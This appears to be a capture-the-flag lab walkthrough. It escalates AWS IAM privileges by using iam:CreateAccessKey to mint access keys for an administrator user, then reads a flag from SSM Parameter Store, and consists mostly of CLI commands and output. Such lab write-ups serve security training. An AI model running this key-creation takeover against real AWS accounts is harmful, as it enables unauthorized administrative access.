Guide
iam-002-to-admin
iam-002-to-admin
Terraform outputs¶
plabs output iam-002-to-admin
{
"admin_user_arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-target-user",
"admin_user_name": "pl-prod-iam-002-to-admin-target-user",
"attack_path": "User (pl-prod-iam-002-to-admin-starting-user) → iam:CreateAccessKey → User (pl-prod-iam-002-to-admin-target-user) → Admin Access → ssm:GetParameter → CTF flag",
"flag_ssm_parameter_arn": "arn:aws:ssm:us-east-1:111111111111:parameter/pathfinding-labs/flags/iam-002-to-admin",
"flag_ssm_parameter_name": "/pathfinding-labs/flags/iam-002-to-admin",
"starting_user_access_key_id": << REDACTED >>,
"starting_user_arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-starting-user",
"starting_user_name": "pl-prod-iam-002-to-admin-starting-user",
"starting_user_secret_access_key": << REDACTED >>
}
# AWS Configure
aws configure --profile starting-user
AWS Access Key ID [****************YNCL]: << snip >>
AWS Secret Access Key [****************44D7]: << snip >>
Default region name [us-east-1]: us-east-1
Default output format [json]: json
# WHOAMI
aws sts get-caller-identity --profile starting-user | jq
{
"UserId": "AIDAVRUVSVUFAB4P64X24",
"Account": "111111111111",
"Arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-starting-user"
}
List all Users¶
aws iam list-users --profile starting-user | jq
{
"Users": [
{
"Path": "/",
"UserName": "pl-admin-user-for-cleanup-scripts",
"UserId": "AIDAVRUVSVUFDKRVLVCCP",
"Arn": "arn:aws:iam::111111111111:user/pl-admin-user-for-cleanup-scripts",
"CreateDate": "2026-05-24T16:08:12+00:00"
},
{
"Path": "/",
"UserName": "pl-prod-iam-002-to-admin-starting-user",
"UserId": "AIDAVRUVSVUFAB4P64X24",
"Arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-starting-user",
"CreateDate": "2026-05-24T17:43:45+00:00"
},
{
"Path": "/",
"UserName": "pl-prod-iam-002-to-admin-target-user",
"UserId": "AIDAVRUVSVUFJMV32T2J6",
"Arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-target-user",
"CreateDate": "2026-05-24T17:43:45+00:00"
},
{
"Path": "/",
"UserName": "pl-readonly-user-prod",
"UserId": "AIDAVRUVSVUFKMPKW7QWK",
"Arn": "arn:aws:iam::111111111111:user/pl-readonly-user-prod",
"CreateDate": "2026-05-24T16:08:12+00:00"
}
]
}
Target user is an Admin¶
aws iam list-attached-user-policies --user-name pl-prod-iam-002-to-admin-target-user --profile starting-user | jq
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
The starting-user does have this attached user policy
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-target-user",
"Sid": "RequiredForExploitationCreateAccessKey"
},
{
"Action": [
"sts:GetCallerIdentity",
"iam:ListUsers",
"iam:GetUser",
"iam:ListAttachedUserPolicies"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "HelpfulForExploitation"
}
]
}
Create Keys for Target User¶
aws iam create-access-key --user-name pl-prod-iam-002-to-admin-target-user --profile starting-user | jq
{
"AccessKey": {
"UserName": "pl-prod-iam-002-to-admin-target-user",
"AccessKeyId": "<< snip >>",
"Status": "Active",
"SecretAccessKey": "<< snip >>",
"CreateDate": "2026-05-25T01:54:13+00:00"
}
}
Add to PATH and verify setup
aws configure --profile target-user
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: << snip >>
AWS Secret Access Key [None]: << snip >>
Default region name [None]: us-east-1
Default output format [None]: json
# Whomai
aws sts get-caller-identity --profile target-user | jq
{
"UserId": "AIDAVRUVSVUFJMV32T2J6",
"Account": "111111111111",
"Arn": "arn:aws:iam::111111111111:user/pl-prod-iam-002-to-admin-target-user"
}
Flag¶
aws ssm describe-parameters --profile target-user | jq
{
"Parameters": [
{
"Name": "/pathfinding-labs/flags/iam-002-to-admin",
"ARN": "arn:aws:ssm:us-east-1:111111111111:parameter/pathfinding-labs/flags/iam-002-to-admin",
"Type": "String",
"LastModifiedDate": "2026-05-24T13:43:45.398000-04:00",
"LastModifiedUser": "arn:aws:iam::111111111111:user/pathfinder-prod",
"Description": "CTF flag for the iam-002 to-admin scenario",
"Version": 1,
"Tier": "Standard",
"Policies": [],
"DataType": "text"
}
]
}
# FLAG
aws ssm get-parameter --name "/pathfinding-labs/flags/iam-002-to-admin" --profile target-user | jq
{
"Parameter": {
"Name": "/pathfinding-labs/flags/iam-002-to-admin",
"Type": "String",
"Value": "flag{iam_002_admin_key_created}",
"Version": 1,
"LastModifiedDate": "2026-05-24T13:43:45.398000-04:00",
"ARN": "arn:aws:ssm:us-east-1:111111111111:parameter/pathfinding-labs/flags/iam-002-to-admin",
"DataType": "text"
}
}
